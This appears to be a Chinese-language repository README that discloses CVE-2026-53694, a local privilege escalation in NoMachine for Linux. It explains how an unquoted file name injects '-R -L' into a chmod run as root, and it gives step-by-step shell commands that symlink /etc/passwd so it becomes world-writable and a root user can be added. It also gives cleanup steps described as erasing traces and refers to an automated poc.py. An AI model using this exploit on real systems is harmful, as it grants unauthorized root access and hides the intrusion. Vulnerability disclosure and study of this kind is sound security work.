本仓库包含 CVE-2026-53694(NoMachine for Linux 中的本地权限提升漏洞)的分析报告和概念验证(PoC)代码。
由于 nxchmod.sh 脚本未能正确过滤参数定界符,本地非特权用户可以向以 root 身份执行的系统命令中注入参数。通过将参数注入与符号链接相结合,攻击者可以覆盖关键系统文件(例如 /etc/passwd),并将权限提升至 root。
该漏洞已由厂商完全修复。
发现此漏洞的过程充满了尝试、错误和一个深夜的顿悟。以下是发现过程的经过:
/usr/NX/scripts/restricted/nxchmod.sh 脚本会定期由 root 用户执行,以管理特定目录的权限。chmod a+rw。我想:如果我能控制目标路径,是否可以使用符号链接使 /etc/passwd 可写? 我测试了一个标准的符号链接(ln -s /etc/passwd /tmp/asdf),但失败了。Linux 中 /tmp 等目录的粘滞位会阻止 root 用户盲目跟随由其他用户创建的符号链接。${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}。该脚本直接获取文件名,并将其原样传递给 chmod。X1234 -R -L 的文件。当脚本运行时,chmod 命令将此名称展开为多个参数,而不是单个文件路径。-L(跟随符号链接)和 -R(递归)标志注入到 chmod 命令的文件名中,我强制 chmod 二进制文件本身解析并跟踪我在目录中创建的符号链接,从而完全绕过了粘滞位保护。/etc/passwd 变为可写(a+rw),我只需向该文件追加一个新的 root 用户,然后使用 su 切换即可。该漏洞源于 NoMachine 处理 X11/Wayland 套接字权限的方式。nxchmod.sh 脚本由以 root 身份运行的 nxserver.bin 守护进程生成。
易受攻击的执行过程如下:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
如果攻击者创建了一个目录结构和一个名为 X1234 -R -L 的文件,那么由 root 执行的最终命令将变为:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
当指向 /etc/passwd 的符号链接被放置在 X1234 目录中时,注入的 -R 和 -L 参数会强制 chmod 递归地跟随符号链接,并将全局读写权限授予目标文件。
要使此漏洞生效,目标系统必须满足以下条件:
您可以使用 shell 命令手动复现此漏洞,也可以使用提供的 Python 脚本自动复现。
导航至 /tmp/.X11-unix/ 并执行以下命令以创建恶意目录结构。
cd /tmp/.X11-unix/
# 1. 利用设置
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# 等待 nxchmod.sh 执行(最多需要 60 秒)。
# 验证 /etc/passwd 的权限是否已更改为 -rw-rw-rw-
# 现在您可以编辑 /etc/passwd 以添加一个 root 用户。
验证漏洞并提升权限后,运行以下清理命令以恢复系统稳定性并清除痕迹:
# 2. 清理
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
poc.py 中提供了一个完整的自动利用脚本。该脚本会验证 Wayland 要求、设置符号链接、等待 nxchmod.sh 执行周期,并向 /etc/passwd 中注入一个新的 root 用户(gg)。
运行漏洞利用:
python3 poc.py
此漏洞已由 NoMachine 处理。用户应将软件更新至以下版本或更高版本: